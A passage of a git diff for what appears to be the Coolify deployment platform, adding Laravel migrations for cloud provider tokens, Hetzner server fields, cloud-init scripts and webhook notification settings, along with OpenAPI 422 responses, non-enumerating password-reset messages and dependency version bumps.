b/database/migrations/2025_06_26_131350_optimize_activity_log_indexes.php @@ -6,6 +6,12 @@ return new class extends Migration { + /** + * Disable transactions for this migration because CREATE INDEX CONCURRENTLY + * cannot run inside a transaction block in PostgreSQL. + */ + public $withinTransaction = false; + /** * Run the migrations. */ @@ -13,10 +19,10 @@ public function up(): void { try { // Add specific index for type_uuid queries with ordering - DB::statement('CREATE INDEX CONCURRENTLY IF NOT EXISTS idx_activity_type_uuid_created_at ON activity_log ((properties->>\'type_uuid\'), created_at DESC)'); + DB::unprepared('CREATE INDEX CONCURRENTLY IF NOT EXISTS idx_activity_type_uuid_created_at ON activity_log ((properties->>\'type_uuid\'), created_at DESC)'); // Add specific index for status queries on properties - DB::statement('CREATE INDEX CONCURRENTLY IF NOT EXISTS idx_activity_properties_status ON activity_log ((properties->>\'status\'))'); + DB::unprepared('CREATE INDEX CONCURRENTLY IF NOT EXISTS idx_activity_properties_status ON activity_log ((properties->>\'status\'))'); } catch (\Exception $e) { Log::error('Error adding optimized indexes to activity_log: '.$e->getMessage()); @@ -29,8 +35,8 @@ public function up(): void public function down(): void { try { - DB::statement('DROP INDEX CONCURRENTLY IF EXISTS idx_activity_type_uuid_created_at'); - DB::statement('DROP INDEX CONCURRENTLY IF EXISTS idx_activity_properties_status'); + DB::unprepared('DROP INDEX CONCURRENTLY IF EXISTS idx_activity_type_uuid_created_at'); + DB::unprepared('DROP INDEX CONCURRENTLY IF EXISTS idx_activity_properties_status'); } catch (\Exception $e) { Log::error('Error dropping optimized indexes from activity_log: '.$e->getMessage()); } diff --git a/database/migrations/2025_10_03_154100_update_clickhouse_image.php b/database/migrations/2025_10_03_154100_update_clickhouse_image.php index e52bbcc16..e57354037 100644 --- a/database/migrations/2025_10_03_154100_update_clickhouse_image.php +++ b/database/migrations/2025_10_03_154100_update_clickhouse_image.php @@ -1,32 +1,32 @@ -string('image')->default('bitnamilegacy/clickhouse')->change(); - }); - // Optionally, update any existing rows with the old default to the new one - DB::table('standalone_clickhouses') - ->where('image', 'bitnami/clickhouse') - ->update(['image' => 'bitnamilegacy/clickhouse']); - } - - public function down() - { - Schema::table('standalone_clickhouses', function (Blueprint $table) { - $table->string('image')->default('bitnami/clickhouse')->change(); - }); - // Optionally, revert any changed values - DB::table('standalone_clickhouses') - ->where('image', 'bitnamilegacy/clickhouse') - ->update(['image' => 'bitnami/clickhouse']); - } -}; \ No newline at end of file +string('image')->default('bitnamilegacy/clickhouse')->change(); + }); + // Optionally, update any existing rows with the old default to the new one + DB::table('standalone_clickhouses') + ->where('image', 'bitnami/clickhouse') + ->update(['image' => 'bitnamilegacy/clickhouse']); + } + + public function down() + { + Schema::table('standalone_clickhouses', function (Blueprint $table) { + $table->string('image')->default('bitnami/clickhouse')->change(); + }); + // Optionally, revert any changed values + DB::table('standalone_clickhouses') + ->where('image', 'bitnamilegacy/clickhouse') + ->update(['image' => 'bitnami/clickhouse']); + } +}; diff --git a/database/migrations/2025_10_08_181125_create_cloud_provider_tokens_table.php b/database/migrations/2025_10_08_181125_create_cloud_provider_tokens_table.php new file mode 100644 index 000000000..2c92b0e19 --- /dev/null +++ b/database/migrations/2025_10_08_181125_create_cloud_provider_tokens_table.php @@ -0,0 +1,33 @@ +id(); + $table->foreignId('team_id')->constrained()->onDelete('cascade'); + $table->string('provider'); + $table->text('token'); + $table->string('name')->nullable(); + $table->timestamps(); + + $table->index(['team_id', 'provider']); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::dropIfExists('cloud_provider_tokens'); + } +}; diff --git a/database/migrations/2025_10_08_185203_add_hetzner_server_id_to_servers_table.php b/database/migrations/2025_10_08_185203_add_hetzner_server_id_to_servers_table.php new file mode 100644 index 000000000..b1c9ec48b --- /dev/null +++ b/database/migrations/2025_10_08_185203_add_hetzner_server_id_to_servers_table.php @@ -0,0 +1,28 @@ +bigInteger('hetzner_server_id')->nullable()->after('id'); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('servers', function (Blueprint $table) { + $table->dropColumn('hetzner_server_id'); + }); + } +}; diff --git a/database/migrations/2025_10_09_095905_add_cloud_provider_token_id_to_servers_table.php b/database/migrations/2025_10_09_095905_add_cloud_provider_token_id_to_servers_table.php new file mode 100644 index 000000000..a25a4ce83 --- /dev/null +++ b/database/migrations/2025_10_09_095905_add_cloud_provider_token_id_to_servers_table.php @@ -0,0 +1,29 @@ +foreignId('cloud_provider_token_id')->nullable()->after('private_key_id')->constrained()->onDelete('set null'); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('servers', function (Blueprint $table) { + $table->dropForeign(['cloud_provider_token_id']); + $table->dropColumn('cloud_provider_token_id'); + }); + } +}; diff --git a/database/migrations/2025_10_09_113602_add_hetzner_server_status_to_servers_table.php b/database/migrations/2025_10_09_113602_add_hetzner_server_status_to_servers_table.php new file mode 100644 index 000000000..d94c9c76f --- /dev/null +++ b/database/migrations/2025_10_09_113602_add_hetzner_server_status_to_servers_table.php @@ -0,0 +1,28 @@ +string('hetzner_server_status')->nullable()->after('hetzner_server_id'); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('servers', function (Blueprint $table) { + $table->dropColumn('hetzner_server_status'); + }); + } +}; diff --git a/database/migrations/2025_10_09_125036_add_is_validating_to_servers_table.php b/database/migrations/2025_10_09_125036_add_is_validating_to_servers_table.php new file mode 100644 index 000000000..ddb655d2c --- /dev/null +++ b/database/migrations/2025_10_09_125036_add_is_validating_to_servers_table.php @@ -0,0 +1,28 @@ +boolean('is_validating')->default(false)->after('hetzner_server_status'); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('servers', function (Blueprint $table) { + $table->dropColumn('is_validating'); + }); + } +}; diff --git a/database/migrations/2025_10_10_120000_create_cloud_init_scripts_table.php b/database/migrations/2025_10_10_120000_create_cloud_init_scripts_table.php new file mode 100644 index 000000000..fe216a57d --- /dev/null +++ b/database/migrations/2025_10_10_120000_create_cloud_init_scripts_table.php @@ -0,0 +1,32 @@ +id(); + $table->foreignId('team_id')->constrained()->onDelete('cascade'); + $table->string('name'); + $table->text('script'); // Encrypted in the model + $table->timestamps(); + + $table->index('team_id'); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::dropIfExists('cloud_init_scripts'); + } +}; diff --git a/database/migrations/2025_10_10_120000_create_webhook_notification_settings_table.php b/database/migrations/2025_10_10_120000_create_webhook_notification_settings_table.php new file mode 100644 index 000000000..a3edacbf9 --- /dev/null +++ b/database/migrations/2025_10_10_120000_create_webhook_notification_settings_table.php @@ -0,0 +1,46 @@ +id(); + $table->foreignId('team_id')->constrained()->cascadeOnDelete(); + + $table->boolean('webhook_enabled')->default(false); + $table->text('webhook_url')->nullable(); + + $table->boolean('deployment_success_webhook_notifications')->default(false); + $table->boolean('deployment_failure_webhook_notifications')->default(true); + $table->boolean('status_change_webhook_notifications')->default(false); + $table->boolean('backup_success_webhook_notifications')->default(false); + $table->boolean('backup_failure_webhook_notifications')->default(true); + $table->boolean('scheduled_task_success_webhook_notifications')->default(false); + $table->boolean('scheduled_task_failure_webhook_notifications')->default(true); + $table->boolean('docker_cleanup_success_webhook_notifications')->default(false); + $table->boolean('docker_cleanup_failure_webhook_notifications')->default(true); + $table->boolean('server_disk_usage_webhook_notifications')->default(true); + $table->boolean('server_reachable_webhook_notifications')->default(false); + $table->boolean('server_unreachable_webhook_notifications')->default(true); + $table->boolean('server_patch_webhook_notifications')->default(false); + + $table->unique(['team_id']); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::dropIfExists('webhook_notification_settings'); + } +}; diff --git a/database/migrations/2025_10_10_120001_populate_webhook_notification_settings_for_existing_teams.php b/database/migrations/2025_10_10_120001_populate_webhook_notification_settings_for_existing_teams.php new file mode 100644 index 000000000..de2707557 --- /dev/null +++ b/database/migrations/2025_10_10_120001_populate_webhook_notification_settings_for_existing_teams.php @@ -0,0 +1,47 @@ +get(); + + foreach ($teams as $team) { + DB::table('webhook_notification_settings')->updateOrInsert( + ['team_id' => $team->id], + [ + 'webhook_enabled' => false, + 'webhook_url' => null, + 'deployment_success_webhook_notifications' => false, + 'deployment_failure_webhook_notifications' => true, + 'status_change_webhook_notifications' => false, + 'backup_success_webhook_notifications' => false, + 'backup_failure_webhook_notifications' => true, + 'scheduled_task_success_webhook_notifications' => false, + 'scheduled_task_failure_webhook_notifications' => true, + 'docker_cleanup_success_webhook_notifications' => false, + 'docker_cleanup_failure_webhook_notifications' => true, + 'server_disk_usage_webhook_notifications' => true, + 'server_reachable_webhook_notifications' => false, + 'server_unreachable_webhook_notifications' => true, + 'server_patch_webhook_notifications' => false, + ] + ); + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + // We don't need to do anything in down() since the webhook_notification_settings + // table will be dropped by the create migration's down() method + } +}; diff --git a/database/seeders/ApplicationSeeder.php b/database/seeders/ApplicationSeeder.php index 2d6f52e31..f012c1534 100644 --- a/database/seeders/ApplicationSeeder.php +++ b/database/seeders/ApplicationSeeder.php @@ -14,6 +14,21 @@ class ApplicationSeeder extends Seeder */ public function run(): void { + Application::create([ + 'name' => 'Docker Compose Example', + 'repository_project_id' => 603035348, + 'git_repository' => 'coollabsio/coolify-examples', + 'git_branch' => 'v4.x', + 'base_directory' => '/docker-compose', + 'docker_compose_location' => 'docker-compose-test.yaml', + 'build_pack' => 'dockercompose', + 'ports_exposes' => '80', + 'environment_id' => 1, + 'destination_id' => 0, + 'destination_type' => StandaloneDocker::class, + 'source_id' => 1, + 'source_type' => GithubApp::class, + ]); Application::create([ 'name' => 'NodeJS Fastify Example', 'fqdn' => 'http://nodejs.127.0.0.1.sslip.io', diff --git a/database/seeders/CaSslCertSeeder.php b/database/seeders/CaSslCertSeeder.php index 09f6cc984..1b71a5e43 100644 --- a/database/seeders/CaSslCertSeeder.php +++ b/database/seeders/CaSslCertSeeder.php @@ -4,7 +4,6 @@ use App\Helpers\SslHelper; use App\Models\Server; -use App\Models\SslCertificate; use Illuminate\Database\Seeder; class CaSslCertSeeder extends Seeder @@ -13,7 +12,7 @@ public function run() { Server::chunk(200, function ($servers) { foreach ($servers as $server) { - $existingCaCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $existingCaCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); if (! $existingCaCert) { $caCert = SslHelper::generateSslCertificate( diff --git a/database/seeders/InstanceSettingsSeeder.php b/database/seeders/InstanceSettingsSeeder.php index 7f2deb3a6..baa7abffc 100644 --- a/database/seeders/InstanceSettingsSeeder.php +++ b/database/seeders/InstanceSettingsSeeder.php @@ -16,6 +16,7 @@ public function run(): void InstanceSettings::create([ 'id' => 0, 'is_registration_enabled' => true, + 'is_api_enabled' => isDev(), 'smtp_enabled' => true, 'smtp_host' => 'coolify-mail', 'smtp_port' => 1025, diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index e8402b7af..fee17dad6 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -1,5 +1,7 @@ services: coolify: + image: coolify:dev + pull_policy: never build: context: . dockerfile: ./docker/development/Dockerfile @@ -41,6 +43,8 @@ services: volumes: - dev_redis_data:/data soketi: + image: coolify-realtime:dev + pull_policy: never build: context: . dockerfile: ./docker/coolify-realtime/Dockerfile @@ -61,6 +65,7 @@ services: vite: image: node:24-alpine pull_policy: always + container_name: coolify-vite working_dir: /var/www/html environment: VITE_HOST: "${VITE_HOST:-localhost}" @@ -73,6 +78,8 @@ services: networks: - coolify testing-host: + image: coolify-testing-host:dev + pull_policy: never build: context: . dockerfile: ./docker/testing-host/Dockerfile diff --git a/lang/en.json b/lang/en.json index af7f2145d..a81e1ee68 100644 --- a/lang/en.json +++ b/lang/en.json @@ -23,7 +23,7 @@ "auth.failed": "These credentials do not match our records.", "auth.failed.callback": "Failed to process callback from login provider.", "auth.failed.password": "The provided password is incorrect.", - "auth.failed.email": "We can't find a user with that e-mail address.", + "auth.failed.email": "If an account exists with this email address, you will receive a password reset link shortly.", "auth.throttle": "Too many login attempts. Please try again in :seconds seconds.", "input.name": "Name", "input.email": "Email", diff --git a/lang/en/passwords.php b/lang/en/passwords.php new file mode 100644 index 000000000..1a4611d0d --- /dev/null +++ b/lang/en/passwords.php @@ -0,0 +1,22 @@ + 'Your password has been reset.', + 'sent' => 'If an account exists with this email address, you will receive a password reset link shortly.', + 'throttled' => 'Please wait before retrying.', + 'token' => 'This password reset token is invalid.', + 'user' => 'If an account exists with this email address, you will receive a password reset link shortly.', + +]; diff --git a/openapi.json b/openapi.json index 901741dd0..3667cbe87 100644 --- a/openapi.json +++ b/openapi.json @@ -3698,6 +3698,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -3753,7 +3756,7 @@ "application\/json": { "schema": { "properties": { - "": { + "message": { "type": "string", "example": "Backup configuration and all executions deleted." } @@ -3769,7 +3772,7 @@ "application\/json": { "schema": { "properties": { - "": { + "message": { "type": "string", "example": "Backup configuration not found." } @@ -3892,6 +3895,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -4033,6 +4039,9 @@ }, "400": { "$ref": "#\/components\/responses\/400" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -4158,6 +4167,9 @@ }, "400": { "$ref": "#\/components\/responses\/400" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -4279,6 +4291,9 @@ }, "400": { "$ref": "#\/components\/responses\/400" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -4404,6 +4419,9 @@ }, "400": { "$ref": "#\/components\/responses\/400" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -4529,6 +4547,9 @@ }, "400": { "$ref": "#\/components\/responses\/400" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -4666,6 +4687,9 @@ }, "400": { "$ref": "#\/components\/responses\/400" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -4803,6 +4827,9 @@ }, "400": { "$ref": "#\/components\/responses\/400" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -4928,6 +4955,9 @@ }, "400": { "$ref": "#\/components\/responses\/400" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -4993,7 +5023,7 @@ "application\/json": { "schema": { "properties": { - "": { + "message": { "type": "string", "example": "Backup execution deleted." } @@ -5009,7 +5039,7 @@ "application\/json": { "schema": { "properties": { - "": { + "message": { "type": "string", "example": "Backup execution not found." } @@ -5063,7 +5093,7 @@ "application\/json": { "schema": { "properties": { - "": { + "executions": { "type": "array", "items": { "properties": { @@ -5690,7 +5720,7 @@ "application\/json": { "schema": { "properties": { - "": { + "repositories": { "type": "array", "items": { "type": "object" @@ -5763,7 +5793,7 @@ "application\/json": { "schema": { "properties": { - "": { + "branches": { "type": "array", "items": { "type": "object" @@ -5968,7 +5998,7 @@ "description": "GitHub app not found" }, "422": { - "description": "Validation error" + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -5987,7 +6017,7 @@ "200": { "description": "Returns the version of the application", "content": { - "application\/json": { + "text\/html": { "schema": { "type": "string" }, @@ -6122,7 +6152,7 @@ "200": { "description": "Healthcheck endpoint.", "content": { - "application\/json": { + "text\/html": { "schema": { "type": "string" }, @@ -6228,6 +6258,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -6327,6 +6360,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -6408,6 +6444,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -6464,6 +6503,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -6514,6 +6556,9 @@ }, "404": { "description": "Project not found." + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -6586,6 +6631,9 @@ }, "409": { "description": "Environment with this name already exists." + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -6648,6 +6696,9 @@ }, "404": { "description": "Project or environment not found." + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -6779,6 +6830,9 @@ }, "400": { "$ref": "#\/components\/responses\/400" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -6840,6 +6894,9 @@ }, "400": { "$ref": "#\/components\/responses\/400" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -7094,6 +7151,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -7193,6 +7253,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -7292,6 +7355,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -7473,6 +7539,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -7702,6 +7771,9 @@ }, "400": { "$ref": "#\/components\/responses\/400" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -7953,6 +8025,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -8093,6 +8168,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -8186,6 +8264,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -8288,6 +8369,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ @@ -9750,6 +9834,40 @@ } } } + }, + "422": { + "description": "Validation error.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Validation error." + }, + "errors": { + "type": "object", + "example": { + "name": [ + "The name field is required." + ], + "api_url": [ + "The api url field is required.", + "The api url format is invalid." + ] + }, + "additionalProperties": { + "type": "array", + "items": { + "type": "string" + } + } + } + }, + "type": "object" + } + } + } } }, "securitySchemes": { diff --git a/openapi.yaml b/openapi.yaml index 3e39c5d36..b7df65567 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2377,6 +2377,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -2418,7 +2420,7 @@ paths: application/json: schema: properties: - '': { type: string, example: 'Backup configuration and all executions deleted.' } + message: { type: string, example: 'Backup configuration and all executions deleted.' } type: object '404': description: 'Backup configuration not found.' @@ -2426,7 +2428,7 @@ paths: application/json: schema: properties: - '': { type: string, example: 'Backup configuration not found.' } + message: { type: string, example: 'Backup configuration not found.' } type: object security: - @@ -2510,6 +2512,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -2612,6 +2616,8 @@ paths: $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -2702,6 +2708,8 @@ paths: $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -2789,6 +2797,8 @@ paths: $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -2879,6 +2889,8 @@ paths: $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -2969,6 +2981,8 @@ paths: $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -3068,6 +3082,8 @@ paths: $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -3167,6 +3183,8 @@ paths: $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -3257,6 +3275,8 @@ paths: $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -3306,7 +3326,7 @@ paths: application/json: schema: properties: - '': { type: string, example: 'Backup execution deleted.' } + message: { type: string, example: 'Backup execution deleted.' } type: object '404': description: 'Backup execution not found.' @@ -3314,7 +3334,7 @@ paths: application/json: schema: properties: - '': { type: string, example: 'Backup execution not found.' } + message: { type: string, example: 'Backup execution not found.' } type: object security: - @@ -3349,7 +3369,7 @@ paths: application/json: schema: properties: - '': { type: array, items: { properties: { uuid: { type: string }, filename: { type: string }, size: { type: integer }, created_at: { type: string }, message: { type: string }, status: { type: string } }, type: object } } + executions: { type: array, items: { properties: { uuid: { type: string }, filename: { type: string }, size: { type: integer }, created_at: { type: string }, message: { type: string }, status: { type: string } }, type: object } } type: object '404': description: 'Backup configuration not found.' @@ -3727,7 +3747,7 @@ paths: application/json: schema: properties: - '': { type: array, items: { type: object } } + repositories: { type: array, items: { type: object } } type: object '400': $ref: '#/components/responses/400' @@ -3774,7 +3794,7 @@ paths: application/json: schema: properties: - '': { type: array, items: { type: object } } + branches: { type: array, items: { type: object } } type: object '400': $ref: '#/components/responses/400' @@ -3900,7 +3920,7 @@ paths: '404': description: 'GitHub app not found' '422': - description: 'Validation error' + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -3913,7 +3933,7 @@ paths: '200': description: 'Returns the version of the application' content: - application/json: + text/html: schema: type: string example: v4.0.0 @@ -3991,7 +4011,7 @@ paths: '200': description: 'Healthcheck endpoint.' content: - application/json: + text/html: schema: type: string example: OK @@ -4057,6 +4077,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -4121,6 +4143,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -4170,6 +4194,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -4208,6 +4234,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -4241,6 +4269,8 @@ paths: $ref: '#/components/responses/400' '404': description: 'Project not found.' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -4286,6 +4316,8 @@ paths: description: 'Project not found.' '409': description: 'Environment with this name already exists.' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -4326,6 +4358,8 @@ paths: description: 'Environment has resources, so it cannot be deleted.' '404': description: 'Project or environment not found.' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -4409,6 +4443,8 @@ paths: $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -4447,6 +4483,8 @@ paths: $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -4610,6 +4648,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -4674,6 +4714,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -4740,6 +4782,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -4837,6 +4881,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -4929,6 +4975,8 @@ paths: $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -5097,6 +5145,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -5190,6 +5240,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -5252,6 +5304,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -5299,6 +5353,8 @@ paths: $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] @@ -6322,6 +6378,24 @@ components: type: string example: 'Resource not found.' type: object + '422': + description: 'Validation error.' + content: + application/json: + schema: + properties: + message: + type: string + example: 'Validation error.' + errors: + type: object + example: + name: ['The name field is required.'] + api_url: ['The api url field is required.', 'The api url format is invalid.'] + additionalProperties: + type: array + items: { type: string } + type: object securitySchemes: bearerAuth: type: http diff --git a/package-lock.json b/package-lock.json index 56e48288c..ce1097097 100644 --- a/package-lock.json +++ b/package-lock.json @@ -74,13 +74,13 @@ } }, "node_modules/@babel/parser": { - "version": "7.28.0", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.0.tgz", - "integrity": "sha512-jVZGvOxOuNSsuQuLRTh13nU0AogFlw32w/MT+LV6D3sP5WdbW61E77RnkbaO2dUvmPAYrBDJXGn5gGS6tH4j8g==", + "version": "7.28.4", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.4.tgz", + "integrity": "sha512-yZbBqeM6TkpP9du/I2pUZnJsRMGGvOuIrhjzC1AwHwW+6he4mni6Bp/m8ijn0iOuZuPI2BfkCoSRunpyjnrQKg==", "dev": true, "license": "MIT", "dependencies": { - "@babel/types": "^7.28.0" + "@babel/types": "^7.28.4" }, "bin": { "parser": "bin/babel-parser.js" @@ -90,9 +90,9 @@ } }, "node_modules/@babel/types": { - "version": "7.28.2", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.2.tgz", - "integrity": "sha512-ruv7Ae4J5dUYULmeXw1gmb7rYRz57OWCPM57pHojnLq/3Z1CK2lNSLTCVjxVk1F/TZHwOZZrOWi0ur95BbLxNQ==", + "version": "7.28.4", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.4.tgz", + "integrity": "sha512-bkFqkLhh3pMBUQQkpVgWDWq/lqzc2678eUyDlTBhRqhCHFguYYGM0Efga7tYk4TogG/3x0EEl66/OQ+WGbWB/Q==", "dev": true, "license": "MIT", "dependencies": { @@ -104,9 +104,9 @@ } }, "node_modules/@esbuild/aix-ppc64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.8.tgz", - "integrity": "sha512-urAvrUedIqEiFR3FYSLTWQgLu5tb+m0qZw0NBEasUeo6wuqatkMDaRT+1uABiGXEu5vqgPd7FGE1BhsAIy9QVA==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.11.tgz", + "integrity": "sha512-Xt1dOL13m8u0WE8iplx9Ibbm+hFAO0GsU2P34UNoDGvZYkY8ifSiy6Zuc1lYxfG7svWE2fzqCUmFp5HCn51gJg==", "cpu": [ "ppc64" ], @@ -121,9 +121,9 @@ } }, "node_modules/@esbuild/android-arm": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.8.tgz", - "integrity": "sha512-RONsAvGCz5oWyePVnLdZY/HHwA++nxYWIX1atInlaW6SEkwq6XkP3+cb825EUcRs5Vss/lGh/2YxAb5xqc07Uw==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.11.tgz", + "integrity": "sha512-uoa7dU+Dt3HYsethkJ1k6Z9YdcHjTrSb5NUy66ZfZaSV8hEYGD5ZHbEMXnqLFlbBflLsl89Zke7CAdDJ4JI+Gg==", "cpu": [ "arm" ], @@ -138,9 +138,9 @@ } }, "node_modules/@esbuild/android-arm64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.8.tgz", - "integrity": "sha512-OD3p7LYzWpLhZEyATcTSJ67qB5D+20vbtr6vHlHWSQYhKtzUYrETuWThmzFpZtFsBIxRvhO07+UgVA9m0i/O1w==", + "version": "0.25.11", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.11.tgz", + "integrity": "sha512-9slpyFBc4FPPz48+f6jyiXOx/Y4v34TUeDDXJpZqAWQn/08lKGeD8aDp9TMn9jDz2CiEuHwfhRmGBvpnd/PWIQ==", "cpu": [ "arm64" ], @@ -155,9 +155,9 @@ } }, "node_modules/@esbuild/android-x64": { - "version": "0.25.8", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.8.tgz", - "integrity": 